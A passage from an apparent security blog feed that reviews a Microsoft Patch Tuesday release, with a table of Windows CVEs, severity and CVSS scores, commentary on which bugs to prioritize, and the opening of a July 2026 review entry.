  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
